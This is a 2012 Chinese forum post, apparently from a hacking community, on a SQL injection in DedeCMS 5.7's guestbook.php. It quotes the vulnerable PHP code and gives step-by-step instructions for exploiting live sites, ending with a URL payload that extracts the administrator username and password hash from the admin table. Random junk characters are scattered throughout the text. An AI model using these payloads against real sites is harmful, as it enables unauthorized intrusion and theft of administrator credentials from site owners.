找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3917|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7& Q# d2 y* m* U& Z2 `. Y" G

, N2 R# l  h' }( t! T0 k漏洞文件edit.inc.php具体代码:7 [4 F# f  T8 `* A! }; `
1 M2 Z' h4 g; o: |# `  R: e+ y. A6 j
< ?php  
$ j! f5 O7 c7 p2 x4 r# p! X: E2 Q- u7 S: I) v6 ]
if(!defined('DEDEINC')) exit('Request Error!');  7 z. i' R: l; ~$ \+ X5 i: Q  w
1 ?0 F' f: u/ B- o
   3 B$ H  W5 E  d( O

0 S0 ~4 G3 q/ i7 m( \0 {, Cif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
$ l& j; {* j+ x" w% K$ @2 ^
) \  F6 {& N7 d8 l: h$ \else $GUEST_BOOK_POS = "guestbook.php";  
) S1 j3 M8 a% @0 h; v2 w0 B4 j' O$ [
   
/ f. N' }) f, ~/ @& l
: x  r; {/ b/ G. V$id = intval($id);  * x3 m8 Q* ~6 d5 P. s+ T

- p* ?. ^. c3 i) |7 |if(empty($job)) $job='view';  
2 U# V0 {& f. U9 m3 H
9 t9 Q7 T8 D6 R5 r   * H$ H! \! I" z4 ?
9 C* V: L2 Q4 g& q
if($job=='del' && $g_isadmin)  
& Y7 v. q- n/ Z9 u9 n1 B6 u8 o# l: R2 U2 v3 p. Y% e9 }" D! k4 H
{  
# U5 w; }& r+ n$ D, W
. H1 e5 [8 i6 O8 b( ~+ I$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
0 T; H2 U# v& x9 z1 ?. b8 x
5 B: J- K6 \2 GShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
! a/ Q9 V$ H" R8 o5 N. @
4 r6 \. c* I( a' F$ texit();  - b4 c" R! [, M  u+ d/ j% u; F
- `6 O  H7 A% ?. w* i9 ]- h
}  $ _5 c9 R( b! X( w1 V/ r

# c. P' m* Z$ G. B2 [* }% N! ~else if($job=='check' && $g_isadmin)  6 b) H- w/ Q$ t" \  S+ }2 c/ {
, h6 a# Y1 @# H! z0 }7 j- P' q4 I6 C
{    j  X$ ]& _0 L9 |
# W! L6 e( G; k1 I, C  R
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  . t6 S! ^3 W) T) @* T( j7 J+ }6 D" _
; D. `* l/ o) i5 C/ P, a
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
% Q& e9 C; O& \/ U) g. O0 i+ D$ X8 |, p1 e4 @1 `6 `5 }- d( a% `
exit();  
$ |: `( F8 }, s7 |0 `, i) `- o; P4 H
}  4 n! q" G7 n3 N+ p$ }& ^
' Z# y+ N- i7 n" {& u
else if($job=='editok')    B! {4 H* m/ N* G5 R! H

! `& d- y8 ^7 }{    H  }# t/ v0 c$ V* t
! O4 _1 B# F( N
$remsg = trim($remsg);  
/ _* T. ^5 O) ]! I
/ n4 L7 q, e, Yif($remsg!='')  & R: |5 O+ S8 r
$ ?# ^+ c4 e9 X
{  3 G2 l3 p& |* @% J3 h

& K+ e2 l9 K' {2 h" g2 Y//管理员回复不过滤HTML By:Errorera blog:errs.cc  3 `1 I9 E  U  F# J  T
' z8 z! z+ L2 S
if($g_isadmin)  
. b3 K. O2 A+ Z: n# v) x; p* N; U. R  _
$ O. V) ?7 ~1 F  [9 K{  
6 ^! I8 H+ P6 D  E8 R# E
% R8 [, p% x+ g& d$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  3 |3 y; j+ _' V/ k& e8 K5 c
# T/ e, v8 b3 V6 Q/ O: X# b! q. ?; R
//$remsg <br /><font color=red>管理员回复:</font> }  - p7 F- b- I- F, y, `% L+ g

1 L) J0 r6 [: _; l3 N7 ~else
4 L* e4 X& H& }- n3 j
9 G" N. U: x2 J{  
' {" W+ R5 d2 V2 O+ F: n
+ P8 L# v, a1 E2 T, X$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
! `/ e6 N6 D- O
' P: H$ k1 d. c) K$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  0 J5 i& k2 t4 D& W4 ?! T6 y" k
' {5 ~: \' C0 x2 B
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  2 G- P9 V# ?. \9 f: \+ q

- B' C9 l% k4 M4 |% @, s" I$msg = $oldmsg.$remsg;  9 D% X( `* V1 ?0 T8 X% K3 |( e: u

' d: z3 s' z4 a; M}  
6 `. f4 h/ e+ O% ?' M" o: r8 r; |) m& ^: @' Z
}  $ L) `/ J. m3 l4 ?& n+ z

/ ^, s$ q' R% d0 [//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  ! G# w7 @6 F) p. ~  D; r" Q- V1 C

' J* I) n  c) J  H8 k4 }$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ' {5 z) a3 S/ `7 @) k0 V' |
: C7 @. y2 g) @5 J
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  : ^/ N# A$ l3 k' O: c; r

( s) Q/ S' ]8 ^' K0 dexit();  ( [! y$ h+ p+ ?- A% Y, y
9 y9 V: I) b$ P7 y2 o
}  
5 a3 y$ N' _1 c4 _1 i3 L/ @  b5 y7 x7 `0 Y6 v+ h8 j- q
//home:www.errs.cc  4 L( I: V/ a8 T- a+ s9 l
5 e& N0 m4 X- X3 L. s; s. K  g
if($g_isadmin)  
) y+ Y. ]2 F  e% W1 L: ^# S! J( V+ w6 Z5 f) W6 k2 Q
{  ; H/ T* j9 J& \# d  i" N: G

. j+ f* l% ^$ Z; B7 G& D$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  9 b0 l1 e, |; C( ]/ q3 h' {3 _

0 Z$ e6 W6 a% z0 t( Z! a, irequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
0 ^# s1 F  `* l9 a1 B# y+ @; C4 p5 p7 F2 u$ `9 y. ~
}  . \/ `# T' r7 L$ V  B$ F: D" w

$ f1 \) {8 B7 M$ c; a3 \4 celse
1 ?2 o7 S7 q& L# y; [6 e% E9 B3 m$ T
! p; O0 w  \; j+ }2 D{  
# X, o4 @$ Z; p. `; i9 {/ c$ `: A! s# A5 K4 K) ]
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
5 h! E1 r* p9 N7 D5 ~" o/ W, s( a4 y  g
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  $ {6 O6 I1 W, {1 [7 d

8 u5 M" \( O; C$ m1 _$ z} 漏洞成功需要条件:
1 y( H( _. \2 a0 A; Y1. php magic_quotes_gpc=off( ?0 i0 f0 E. @+ U3 W$ S3 c
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。3 o; H3 Q0 D6 N0 @: R5 ^
0 r4 c- t+ _6 U& z, B9 t6 P5 Z; e
怎么判断是否存在漏洞:, R1 V% C6 N. i% M1 }) _
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,( C) r* V9 e" ]; p
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID5 d: A& k" h$ Q, w# F1 p
访问:
' l! n: ?! t& A: K1 R5 z# ^' ]' |% Y
9 c5 [2 X% G/ t( T/ A* z/ Awww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
7 H+ J$ |1 T. `& h$ q4 D跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证6 U% I3 d% i* m9 ^0 F$ K5 |

7 a: }5 V, B/ [9 y( ~0 T- N, v7 S7 {% P7 ]" U8 l: h
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off' Z$ u. H0 X+ T8 w, H; P. J6 H
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。/ @- n9 R$ e. f0 b) P3 v0 r
那么再次访问; E& w; Q( ]& d$ J
3 i" \9 ^* ~6 A% ?! K
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 q6 K9 ]" l: O/ m3 _6 i

8 p! D' D; A4 S0 w  k1 Z* H大概利用就是这样,大家有兴趣的多研究下!!
( z3 ~2 k/ j, W' j1 a
1 F+ V( l+ U' j- r, K: V7 g最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!. Z* ]# Y) }0 g& ?, Z' g- _0 T
  {7 m  Y$ @; u. y8 V6 ^
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表